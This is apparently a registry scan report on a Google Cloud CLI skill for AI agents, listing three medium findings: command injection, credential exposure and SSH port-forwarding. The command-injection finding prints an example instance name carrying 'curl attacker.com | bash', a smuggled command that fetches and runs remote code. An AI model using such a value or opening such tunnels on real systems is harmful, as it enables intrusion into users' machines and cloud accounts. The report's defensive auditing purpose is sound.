gcloud

SAFE max severity MEDIUMSkillSpector Caution 35 registry clawhub.ai last scanned 1 scan

Verdict safe, but 3 findings (3 medium), mainly command injection, data exfiltration, unauthorized tool use. Most recent scan 2026-02-06.

This Google Cloud Platform skill provides legitimate GCP management functionality but has MEDIUM severity security concerns primarily around command injection risks and credential management. The skill demonstrates standard gcloud CLI usage patterns but lacks critical security guidance for: 1) Input validation to prevent command injection, 2) Credential protection and scope management, 3) SSH tunneling security implications. The skill does not contain malicious code or data exfiltration attempts - it's a straightforward GCP CLI wrapper. However, the absence of security guardrails in the instructions could lead to unsafe agent behavior when processing untrusted user input. The missing referenced files (Cloud.py, file.py, source.py, backup.py) appear to be parsing artifacts from the markdown content and are not actual security concerns. Primary risks are operational security issues rather than intentional threats.

Scanner's overall assessment (LLM analyzer)

Second scanner: NVIDIA SkillSpector

Independent static run, no language model, over the same files as the Cisco scan above. How the two scanners compare across the whole corpus: Two scanners, one corpus.

What this skill does

Manage Google Cloud Platform resources via gcloud CLI. Use for Compute Engine VMs, Cloud Run services, Firebase Hosting, Cloud Storage, and project management. Covers deployment, monitoring, logs, and SSH access.

Package
1 file, 12 KB
SKILL.md
1424 words, 12+ sections
Code
None. Instructions only.

SKILL.md covers: Google Cloud Platform Skill · Installation · gcloud CLI (one-time setup) · Download and extract · Install (adds to PATH via .bashrc) · Reload shell or source · Authenticate · Firebase CLI · Quick Reference · Authentication & Config · List authenticated accounts · Switch active account

Findings

MEDIUM Command Injection Risk via Unvalidated User Input in gcloud Commands Command Injectionllm

The skill instructions demonstrate gcloud CLI commands with placeholder variables (INSTANCE_NAME, ZONE, PROJECT_ID, SERVICE_NAME, REGION, etc.) that would be populated from user input. When an agent executes these commands via Bash tool, unsanitized user input could lead to command injection. For example, a malicious INSTANCE_NAME like 'vm; curl attacker.com | bash' could execute arbitrary commands. The skill provides no input validation guidance or sanitization requirements.

SKILL.md

Examples: 'gcloud compute ssh INSTANCE_NAME --zone ZONE --project PROJECT_ID --command "uptime"' and 'gcloud compute instances start INSTANCE_NAME --zone ZONE --project PROJECT_ID' - all use unvalidated placeholders that accept user input directly into shell commands.
Remediation: Add explicit input validation requirements in instructions: 1) Validate PROJECT_ID format (alphanumeric + hyphens), 2) Validate INSTANCE_NAME/SERVICE_NAME against GCP naming rules, 3) Sanitize all user inputs before shell execution, 4) Use gcloud's --format=json output and parse programmatically instead of shell interpolation, 5) Implement allowlists for ZONE and REGION values.
MEDIUM Credential Exposure Risk via gcloud auth login Interactive Flow Data Exfiltrationllm

The installation instructions require 'gcloud auth login' which opens a browser-based OAuth flow. While this is the standard authentication method, the skill provides no guidance on: 1) Verifying the authentication scope requested, 2) Protecting the resulting credential files (~/.config/gcloud/), 3) Credential rotation policies, 4) Using service accounts instead of user credentials for automation. An agent following these instructions could inadvertently expose user credentials or grant excessive permissions.

SKILL.md

Installation section: '# Authenticate\ngcloud auth login' with no security guidance on credential management, scope verification, or service account alternatives.
Remediation: Add security guidance: 1) Recommend service accounts for automation ('gcloud auth activate-service-account --key-file=KEY_FILE'), 2) Document minimum required OAuth scopes, 3) Add instructions to verify credential file permissions (chmod 600 ~/.config/gcloud/*), 4) Recommend credential rotation policies, 5) Warn about credential exposure risks in shared environments.
MEDIUM SSH Tunneling Capability Enables Unauthorized Network Access Unauthorized Tool Usellm

The skill demonstrates SSH port forwarding ('-L 8080:localhost:8080') which could be abused to: 1) Bypass network security controls, 2) Access internal services not intended for external exposure, 3) Create persistent backdoor tunnels, 4) Exfiltrate data through tunneled connections. The instruction provides this capability without security warnings or use case restrictions.

SKILL.md

'gcloud compute ssh INSTANCE_NAME --zone ZONE --project PROJECT_ID -- -L 8080:localhost:8080' demonstrates port forwarding without security context or restrictions.
Remediation: 1) Add security warning about port forwarding risks, 2) Recommend using IAP tunneling instead ('gcloud compute start-iap-tunnel'), 3) Document when port forwarding is appropriate vs inappropriate, 4) Suggest firewall rules to restrict tunnel usage, 5) Recommend audit logging for SSH sessions with tunneling.

What is in the package

FileKindSize
SKILL.mddoc12 KB

External hosts referenced

cloud.google.com dl.google.com

Hostnames that appear in the skill's files. Referencing a host is not a finding; compare against the findings above and the skill's stated purpose.

Package contents recorded 2026-10-22. The scan above ran against the version current at scan time; the two can differ if the skill has since been updated.

What we checked

What we did not check

Sources